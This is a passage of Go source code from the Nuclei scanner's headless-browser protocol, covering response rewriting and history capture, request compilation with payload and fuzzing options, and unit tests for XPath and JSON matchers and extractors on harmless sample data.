ctx.LoadResponse(httpClient, true)\n\n\t\tif !p.options.DisableCookie {\n\t\t\t// retrieve the updated cookies from the native http client and inject them into the shared cookie jar\n\t\t\t// keeps existing one if not present\n\t\t\tif cookies := httpClient.Jar.Cookies(ctx.Request.URL()); len(cookies) > 0 {\n\t\t\t\tp.ctx.CookieJar.SetCookies(ctx.Request.URL(), cookies)\n\t\t\t}\n\t\t}\n\n\t\tfor _, rule := range p.rules {\n\t\t\tif rule.Part != \"response\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tswitch rule.Action {\n\t\t\tcase ActionAddHeader:\n\t\t\t\tctx.Response.Headers().Add(rule.Args[\"key\"], rule.Args[\"value\"])\n\t\t\tcase ActionSetHeader:\n\t\t\t\tctx.Response.Headers().Set(rule.Args[\"key\"], rule.Args[\"value\"])\n\t\t\tcase ActionDeleteHeader:\n\t\t\t\tctx.Response.Headers().Del(rule.Args[\"key\"])\n\t\t\tcase ActionSetBody:\n\t\t\t\tbody := rule.Args[\"body\"]\n\t\t\t\tctx.Response.Headers().Set(\"Content-Length\", fmt.Sprintf(\"%d\", len(body)))\n\t\t\t\tctx.Response.SetBody(rule.Args[\"body\"])\n\t\t\t}\n\t\t}\n\n\t\t// store history\n\t\treq := ctx.Request.Req()\n\t\tvar rawReq string\n\t\tif raw, err := httputil.DumpRequestOut(req, true); err == nil {\n\t\t\trawReq = string(raw)\n\t\t}\n\n\t\t// attempts to rebuild the response\n\t\tvar rawResp strings.Builder\n\t\trespPayloads := ctx.Response.Payload()\n\t\tif respPayloads != nil {\n\t\t\tfmt.Fprintf(&rawResp, \"HTTP/1.1 %d %s\\n\", respPayloads.ResponseCode, respPayloads.ResponsePhrase)\n\t\t\tfor _, header := range respPayloads.ResponseHeaders {\n\t\t\t\trawResp.WriteString(header.Name + \": \" + header.Value + \"\\n\")\n\t\t\t}\n\t\t\trawResp.WriteString(\"\\n\")\n\t\t\trawResp.WriteString(ctx.Response.Body())\n\t\t}\n\n\t\t// dump request\n\t\thistoryData := HistoryData{\n\t\t\tRawRequest:  rawReq,\n\t\t\tRawResponse: rawResp.String(),\n\t\t}\n\t\tp.addToHistory(historyData)\n\t}\n}\n\n// routingRuleHandlerNative handles native proxy rule\nfunc (p *Page) routingRuleHandlerNative(e *proto.FetchRequestPaused) error {\n\t// ValidateNFailRequest validates if Local file access is enabled\n\t// and local network access is enables if not it will fail the request\n\t// that don't match the rules\n\tif err := protocolstate.ValidateNFailRequest(p.options.Options, p.page, e); err != nil {\n\t\treturn err\n\t}\n\tbody, _ := FetchGetResponseBody(p.page, e)\n\theaders := make(map[string][]string)\n\tfor _, h := range e.ResponseHeaders {\n\t\theaders[h.Name] = []string{h.Value}\n\t}\n\n\tvar statusCode int\n\tif e.ResponseStatusCode != nil {\n\t\tstatusCode = *e.ResponseStatusCode\n\t}\n\n\t// attempts to rebuild request\n\tvar rawReq strings.Builder\n\tfmt.Fprintf(&rawReq, \"%s %s %s\\n\", e.Request.Method, e.Request.URL, \"HTTP/1.1\")\n\tfor _, header := range e.Request.Headers {\n\t\tfmt.Fprintf(&rawReq, \"%s\\n\", header.String())\n\t}\n\tif e.Request.HasPostData {\n\t\tfmt.Fprintf(&rawReq, \"\\n%s\\n\", e.Request.PostData)\n\t}\n\n\t// attempts to rebuild the response\n\tvar rawResp strings.Builder\n\tfmt.Fprintf(&rawResp, \"HTTP/1.1 %d %s\\n\", statusCode, e.ResponseStatusText)\n\tfor _, header := range e.ResponseHeaders {\n\t\trawResp.WriteString(header.Name + \": \" + header.Value + \"\\n\")\n\t}\n\trawResp.WriteString(\"\\n\")\n\trawResp.Write(body)\n\n\t// dump request\n\thistoryData := HistoryData{\n\t\tRawRequest:  rawReq.String(),\n\t\tRawResponse: rawResp.String(),\n\t}\n\tp.addToHistory(historyData)\n\n\treturn FetchContinueRequest(p.page, e)\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/util.go",
    "content": "package engine\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker\"\n\t\"github.com/valyala/fasttemplate\"\n)\n\n// replaceWithValues replaces the template markers with the values\n//\n// Deprecated: Not used anymore.\n// nolint: unused\nfunc replaceWithValues(data string, values map[string]interface{}) string {\n\treturn fasttemplate.ExecuteStringStd(data, marker.ParenthesisOpen, marker.ParenthesisClose, values)\n}\n\nfunc getExpressions(data string, values map[string]interface{}) []string {\n\treturn expressions.FindExpressions(data, marker.ParenthesisOpen, marker.ParenthesisClose, values)\n}\n"
  },
  {
    "path": "pkg/protocols/headless/headless.go",
    "content": "package headless\n\nimport (\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz\"\n\tuseragent \"github.com/projectdiscovery/nuclei/v3/pkg/model/types/userAgent\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\tuagent \"github.com/projectdiscovery/useragent\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// Request contains a Headless protocol request to be made from a template\ntype Request struct {\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=Optional ID of the headless request\"`\n\n\t// description: |\n\t//   Attack is the type of payload combinations to perform.\n\t//\n\t//   Batteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\n\t//   permutations and combinations for all payloads.\n\tAttackType generators.AttackTypeHolder `yaml:\"attack,omitempty\" json:\"attack,omitempty\" jsonschema:\"title=attack is the payload combination,description=Attack is the type of payload combinations to perform,enum=batteringram,enum=pitchfork,enum=clusterbomb\"`\n\t// description: |\n\t//   Payloads contains any payloads for the current request.\n\t//\n\t//   Payloads support both key-values combinations where a list\n\t//   of payloads is provided, or optionally a single file can also\n\t//   be provided as payload which will be read on run-time.\n\tPayloads map[string]interface{} `yaml:\"payloads,omitempty\" json:\"payloads,omitempty\" jsonschema:\"title=payloads for the headless request,description=Payloads contains any payloads for the current request\"`\n\n\t// description: |\n\t//   Steps is the list of actions to run for headless request\n\tSteps []*engine.Action `yaml:\"steps,omitempty\" json:\"steps,omitempty\" jsonschema:\"title=list of actions for headless request,description=List of actions to run for headless request\"`\n\n\t// descriptions: |\n\t// \t User-Agent is the type of user-agent to use for the request.\n\tUserAgent useragent.UserAgentHolder `yaml:\"user_agent,omitempty\" json:\"user_agent,omitempty\" jsonschema:\"title=user agent for the headless request,description=User agent for the headless request\"`\n\n\t// description: |\n\t// \t If UserAgent is set to custom, customUserAgent is the custom user-agent to use for the request.\n\tCustomUserAgent   string `yaml:\"custom_user_agent,omitempty\" json:\"custom_user_agent,omitempty\" jsonschema:\"title=custom user agent for the headless request,description=Custom user agent for the headless request\"`\n\tcompiledUserAgent string\n\t// description: |\n\t//   StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\n\tStopAtFirstMatch bool `yaml:\"stop-at-first-match,omitempty\" json:\"stop-at-first-match,omitempty\" jsonschema:\"title=stop at first match,description=Stop the execution after a match is found\"`\n\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\" json:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\t// cache any variables that may be needed for operation.\n\toptions   *protocols.ExecutorOptions\n\tgenerator *generators.PayloadGenerator\n\n\t// Fuzzing describes schema to fuzz headless requests\n\tFuzzing []*fuzz.Rule `yaml:\"fuzzing,omitempty\" json:\"fuzzing,omitempty\" jsonschema:\"title=fuzzin rules for http fuzzing,description=Fuzzing describes rule schema to fuzz headless requests\"`\n\n\t// description: |\n\t//   SelfContained specifies if the request is self-contained.\n\tSelfContained bool `yaml:\"-\" json:\"-\"`\n\n\t// description: |\n\t//   CookieReuse is an optional setting that enables cookie reuse\n\t// Deprecated: This is default now. Use disable-cookie to disable cookie reuse. cookie-reuse will be removed in future releases.\n\tCookieReuse bool `yaml:\"cookie-reuse,omitempty\" json:\"cookie-reuse,omitempty\" jsonschema:\"title=optional cookie reuse enable,description=Optional setting that enables cookie reuse\"`\n\n\t// description: |\n\t//   DisableCookie is an optional setting that disables cookie reuse\n\tDisableCookie bool `yaml:\"disable-cookie,omitempty\" json:\"disable-cookie,omitempty\" jsonschema:\"title=optional disable cookie reuse,description=Optional setting that disables cookie reuse\"`\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"template-id\":    \"ID of the template executed\",\n\t\"template-info\":  \"Info Block of the template executed\",\n\t\"template-path\":  \"Path of the template executed\",\n\t\"host\":           \"Host is the input to the template\",\n\t\"matched\":        \"Matched is the input which was matched upon\",\n\t\"type\":           \"Type is the type of request made\",\n\t\"req\":            \"Headless request made from the client\",\n\t\"resp,body,data\": \"Headless response received from client (default)\",\n}\n\n// Step is a headless protocol request step.\ntype Step struct {\n\t// Action is the headless action to execute for the script\n\tAction string `yaml:\"action\"`\n}\n\n// GetID returns the unique ID of the request if any.\nfunc (request *Request) GetID() string {\n\treturn request.ID\n}\n\n// Compile compiles the protocol request for further execution.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\trequest.options = options\n\n\t// TODO: logic similar to network + http => probably can be refactored\n\t// Resolve payload paths from vars if they exists\n\tfor name, payload := range options.Options.Vars.AsMap() {\n\t\tpayloadStr, ok := payload.(string)\n\t\t// check if inputs contains the payload\n\t\tif ok && fileutil.FileExists(payloadStr) {\n\t\t\tif request.Payloads == nil {\n\t\t\t\trequest.Payloads = make(map[string]interface{})\n\t\t\t}\n\t\t\trequest.Payloads[name] = payloadStr\n\t\t}\n\t}\n\n\tif len(request.Payloads) > 0 {\n\t\tvar err error\n\t\trequest.generator, err = generators.New(request.Payloads, request.AttackType.Value, options.TemplatePath, options.Catalog, options.Options.AttackType, request.options.Options)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse payloads\")\n\t\t}\n\t}\n\n\t// Compile User-Agent\n\tswitch request.UserAgent.Value {\n\tcase useragent.Off:\n\t\trequest.compiledUserAgent = \" \"\n\tcase useragent.Default:\n\t\trequest.compiledUserAgent = \"\"\n\tcase useragent.Custom:\n\t\tif request.CustomUserAgent == \"\" {\n\t\t\treturn errors.New(\"please set custom_user_agent in the template\")\n\t\t}\n\t\trequest.compiledUserAgent = request.CustomUserAgent\n\tcase useragent.Random:\n\t\tuserAgent := uagent.PickRandom()\n\t\trequest.compiledUserAgent = userAgent.Raw\n\t}\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\n\tif len(request.Fuzzing) > 0 {\n\t\tfor _, rule := range request.Fuzzing {\n\t\t\tif fuzzingMode := options.Options.FuzzingMode; fuzzingMode != \"\" {\n\t\t\t\trule.Mode = fuzzingMode\n\t\t\t}\n\t\t\tif fuzzingType := options.Options.FuzzingType; fuzzingType != \"\" {\n\t\t\t\trule.Type = fuzzingType\n\t\t\t}\n\t\t\tif err := rule.Compile(request.generator, request.options); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"could not compile fuzzing rule\")\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// Requests returns the total number of requests the YAML rule will perform\nfunc (request *Request) Requests() int {\n\treturn 1\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n\n// HasFuzzing checks if the request has fuzzing rules defined.\nfunc (request *Request) HasFuzzing() bool {\n\treturn len(request.Fuzzing) > 0\n}\n"
  },
  {
    "path": "pkg/protocols/headless/operators.go",
    "content": "package headless\n\nimport (\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\tprotocolUtils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Match matches a generic data response again a given matcher\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\titemStr, ok := request.getMatchPart(matcher.Part, data)\n\tif !ok && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\treturn false, []string{}\n\t}\n\n\tswitch matcher.GetType() {\n\tcase matchers.StatusMatcher:\n\t\tstatusCode, ok := getStatusCode(data)\n\t\tif !ok {\n\t\t\treturn false, []string{}\n\t\t}\n\t\treturn matcher.Result(matcher.MatchStatusCode(statusCode)), []string{}\n\tcase matchers.SizeMatcher:\n\t\treturn matcher.Result(matcher.MatchSize(len(itemStr))), []string{}\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(itemStr, data))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(itemStr))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), []string{}\n\tcase matchers.XPathMatcher:\n\t\treturn matcher.Result(matcher.MatchXPath(itemStr)), []string{}\n\t}\n\treturn false, []string{}\n}\n\nfunc getStatusCode(data map[string]interface{}) (int, bool) {\n\tstatusCodeValue, ok := data[\"status_code\"]\n\tif !ok {\n\t\treturn 0, false\n\t}\n\tstatusCodeStr, ok := statusCodeValue.(string)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\n\tstatusCode, err := strconv.Atoi(statusCodeStr)\n\tif err != nil {\n\t\treturn 0, false\n\t}\n\n\treturn statusCode, true\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, extractor *extractors.Extractor) map[string]struct{} {\n\titemStr, ok := request.getMatchPart(extractor.Part, data)\n\tif !ok && !extractors.SupportsMap(extractor) {\n\t\treturn nil\n\t}\n\n\tswitch extractor.GetType() {\n\tcase extractors.RegexExtractor:\n\t\treturn extractor.ExtractRegex(itemStr)\n\tcase extractors.KValExtractor:\n\t\treturn extractor.ExtractKval(data)\n\tcase extractors.DSLExtractor:\n\t\treturn extractor.ExtractDSL(data)\n\tcase extractors.XPathExtractor:\n\t\treturn extractor.ExtractXPath(itemStr)\n\tcase extractors.JSONExtractor:\n\t\treturn extractor.ExtractJSON(itemStr)\n\t}\n\treturn nil\n}\n\nfunc (request *Request) getMatchPart(part string, data output.InternalEvent) (string, bool) {\n\tswitch part {\n\tcase \"body\", \"resp\", \"\":\n\t\tpart = \"data\"\n\tcase \"history\":\n\t\tpart = \"history\"\n\tcase \"header\":\n\t\tpart = \"header\"\n\t}\n\n\titem, ok := data[part]\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\titemStr := types.ToString(item)\n\n\treturn itemStr, true\n}\n\n// responseToDSLMap converts a headless response to a map for use in DSL matching\nfunc (request *Request) responseToDSLMap(resp, headers, status_code, req, host, matched string, history string) output.InternalEvent {\n\treturn output.InternalEvent{\n\t\t\"host\":          host,\n\t\t\"matched\":       matched,\n\t\t\"req\":           req,\n\t\t\"data\":          resp,\n\t\t\"header\":        headers,\n\t\t\"status_code\":   status_code,\n\t\t\"history\":       history,\n\t\t\"type\":          request.Type().String(),\n\t\t\"template-id\":   request.options.TemplateID,\n\t\t\"template-info\": request.options.TemplateInfo,\n\t\t\"template-path\": request.options.TemplatePath,\n\t}\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tfields := protocolUtils.GetJsonFieldsFromURL(types.ToString(wrapped.InternalEvent[\"host\"]))\n\tif types.ToString(wrapped.InternalEvent[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(wrapped.InternalEvent[\"ip\"])\n\t}\n\tif types.ToString(wrapped.InternalEvent[\"path\"]) != \"\" {\n\t\tfields.Path = types.ToString(wrapped.InternalEvent[\"path\"])\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             fields.Host,\n\t\tPath:             fields.Path,\n\t\tPort:             fields.Port,\n\t\tScheme:           fields.Scheme,\n\t\tURL:              fields.URL,\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tIP:               fields.Ip,\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"data\"]),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n"
  },
  {
    "path": "pkg/protocols/headless/operators_test.go",
    "content": "package headless\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRequest_ExtractXPath(t *testing.T) {\n\trequest := &Request{}\n\n\t// Test HTML content extraction\n\thtmlContent := `<!doctype html>\n<html>\n<head>\n    <title>Test Page</title>\n</head>\n<body>\n    <div class=\"container\">\n        <h1>Welcome</h1>\n        <p>This is a test page</p>\n        <a href=\"https://example.com\" id=\"test-link\">Click here</a>\n        <ul>\n            <li>Item 1</li>\n            <li>Item 2</li>\n            <li>Item 3</li>\n        </ul>\n    </div>\n</body>\n</html>`\n\n\tdata := map[string]interface{}{\n\t\t\"data\": htmlContent,\n\t}\n\n\t// Test extracting text content\n\textractor := &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/div/h1\"},\n\t}\n\terr := extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult := request.Extract(data, extractor)\n\texpected := map[string]struct{}{\"Welcome\": {}}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting attribute value\n\textractor = &extractors.Extractor{\n\t\tType:      extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath:     []string{\"/html/body/div/a\"},\n\t\tAttribute: \"href\",\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\"https://example.com\": {}}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting multiple items\n\textractor = &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/div/ul/li\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"Item 1\": {},\n\t\t\"Item 2\": {},\n\t\t\"Item 3\": {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test with non-existent XPath\n\textractor = &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/div/nonexistent\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\trequire.Equal(t, map[string]struct{}{}, result)\n}\n\nfunc TestRequest_ExtractJSON(t *testing.T) {\n\trequest := &Request{}\n\n\t// Test JSON content extraction\n\tjsonContent := `{\n\t\t\"users\": [\n\t\t\t{\"id\": 1, \"name\": \"John\", \"email\": \"john@example.com\"},\n\t\t\t{\"id\": 2, \"name\": \"Jane\", \"email\": \"jane@example.com\"},\n\t\t\t{\"id\": 3, \"name\": \"Bob\", \"email\": \"bob@example.com\"}\n\t\t],\n\t\t\"metadata\": {\n\t\t\t\"total\": 3,\n\t\t\t\"page\": 1\n\t\t}\n\t}`\n\n\tdata := map[string]interface{}{\n\t\t\"data\": jsonContent,\n\t}\n\n\t// Test extracting user IDs\n\textractor := &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".users[].id\"},\n\t}\n\terr := extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult := request.Extract(data, extractor)\n\texpected := map[string]struct{}{\n\t\t\"1\": {},\n\t\t\"2\": {},\n\t\t\"3\": {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting user names\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".users[].name\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"John\": {},\n\t\t\"Jane\": {},\n\t\t\"Bob\":  {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting nested values\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".metadata.total\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\"3\": {}}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting emails\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".users[].email\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"john@example.com\": {},\n\t\t\"jane@example.com\": {},\n\t\t\"bob@example.com\":  {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test with invalid JSON\n\tinvalidJSON := `{\"invalid\": json}`\n\tdata = map[string]interface{}{\n\t\t\"data\": invalidJSON,\n\t}\n\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".invalid\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\trequire.Equal(t, map[string]struct{}{}, result)\n\n\t// Test with non-existent path\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".nonexistent\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\trequire.Equal(t, map[string]struct{}{}, result)\n}\n\nfunc TestRequest_MatchXPath(t *testing.T) {\n\trequest := &Request{}\n\n\thtmlContent := `<!doctype html>\n<html>\n<head>\n    <title>Test Page</title>\n</head>\n<body>\n    <div class=\"container\">\n        <h1>Welcome</h1>\n        <p>This is a test page</p>\n        <a href=\"https://example.com\" id=\"test-link\">Click here</a>\n    </div>\n</body>\n</html>`\n\n\tdata := map[string]interface{}{\n\t\t\"data\": htmlContent,\n\t}\n\n\t// Test XPath matcher with existing element\n\tmatcher := &matchers.Matcher{\n\t\tType:      matchers.MatcherTypeHolder{MatcherType: matchers.XPathMatcher},\n\t\tXPath:     []string{\"/html/body/div/h1\"},\n\t\tCondition: \"and\",\n\t}\n\terr := matcher.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tmatched, snippets := request.Match(data, matcher)\n\trequire.True(t, matched)\n\trequire.Empty(t, snippets)\n\n\t// Test XPath matcher with non-existent element\n\tmatcher = &matchers.Matcher{\n\t\tType:      matchers.MatcherTypeHolder{MatcherType: matchers.XPathMatcher},\n\t\tXPath:     []string{\"/html/body/div/nonexistent\"},\n\t\tCondition: \"and\",\n\t}\n\terr = matcher.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tmatched, snippets = request.Match(data, matcher)\n\trequire.False(t, matched)\n\trequire.Empty(t, snippets)\n}\n\nfunc TestRequest_getMatchPart(t *testing.T) {\n\trequest := &Request{}\n\n\tdata := map[string]interface{}{\n\t\t\"data\":    \"body content\",\n\t\t\"header\":  \"header content\",\n\t\t\"history\": \"history content\",\n\t}\n\n\t// Test default part (should map to \"data\")\n\tpart, ok := request.getMatchPart(\"\", data)\n\trequire.True(t, ok)\n\trequire.Equal(t, \"body content\", part)\n\n\t// Test \"body\" part (should map to \"data\")\n\tpart, ok = request.getMatchPart(\"body\", data)\n\trequire.True(t, ok)\n\trequire.Equal(t, \"body content\", part)\n\n\t// Test \"resp\" part (should map to \"data\")\n\tpart, ok = request.getMatchPart(\"resp\", data)\n\trequire.True(t, ok)\n\trequire.Equal(t, \"body content\", part)\n\n\t// Test \"header\" part\n\tpart, ok = request.getMatchPart(\"header\", data)\n\trequire.True(t, ok)\n\trequire.Equal(t, \"header content\", part)\n\n\t// Test \"history\" part\n\tpart, ok = request.getMatchPart(\"history\", data)\n\trequire.True(t, ok)\n\trequire.Equal(t, \"history content\", part)\n\n\t// Test non-existent part\n\tpart, ok = request.getMatchPart(\"nonexistent\", data)\n\trequire.False(t, ok)\n\trequire.Equal(t, \"\", part)\n}\n\nfunc TestRequest_ExtractWithDifferentParts(t *testing.T) {\n\trequest := &Request{}\n\n\t// Test extracting from different parts\n\thtmlContent := `<!doctype html><html><body><div><h1>Title</h1></div></body></html>`\n\tjsonContent := `{\"id\": 123}`\n\n\tdata := map[string]interface{}{\n\t\t\"data\":    htmlContent,\n\t\t\"header\":  jsonContent,\n\t\t\"history\": htmlContent,\n\t}\n\n\t// Test XPath extractor from \"data\" part\n\textractor := &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/div/h1\"},\n\t\tPart:  \"data\",\n\t}\n\terr := extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult := request.Extract(data, extractor)\n\texpected := map[string]struct{}{\"Title\": {}}\n\trequire.Equal(t, expected, result)\n\n\t// Test JSON extractor from \"header\" part\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".id\"},\n\t\tPart: \"header\",\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\"123\": {}}\n\trequire.Equal(t, expected, result)\n\n\t// Test XPath extractor from \"history\" part\n\textractor = &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/div/h1\"},\n\t\tPart:  \"history\",\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\"Title\": {}}\n\trequire.Equal(t, expected, result)\n}\n\nfunc TestRequest_ExtractWithComplexJSON(t *testing.T) {\n\trequest := &Request{}\n\n\t// Test with complex nested JSON structure\n\tjsonContent := `{\n\t\t\"api\": {\n\t\t\t\"version\": \"1.0\",\n\t\t\t\"endpoints\": [\n\t\t\t\t{\n\t\t\t\t\t\"path\": \"/users\",\n\t\t\t\t\t\"method\": \"GET\",\n\t\t\t\t\t\"responses\": [\n\t\t\t\t\t\t{\"code\": 200, \"description\": \"Success\"},\n\t\t\t\t\t\t{\"code\": 404, \"description\": \"Not Found\"}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"path\": \"/posts\",\n\t\t\t\t\t\"method\": \"POST\",\n\t\t\t\t\t\"responses\": [\n\t\t\t\t\t\t{\"code\": 201, \"description\": \"Created\"},\n\t\t\t\t\t\t{\"code\": 400, \"description\": \"Bad Request\"}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\t}`\n\n\tdata := map[string]interface{}{\n\t\t\"data\": jsonContent,\n\t}\n\n\t// Test extracting API version\n\textractor := 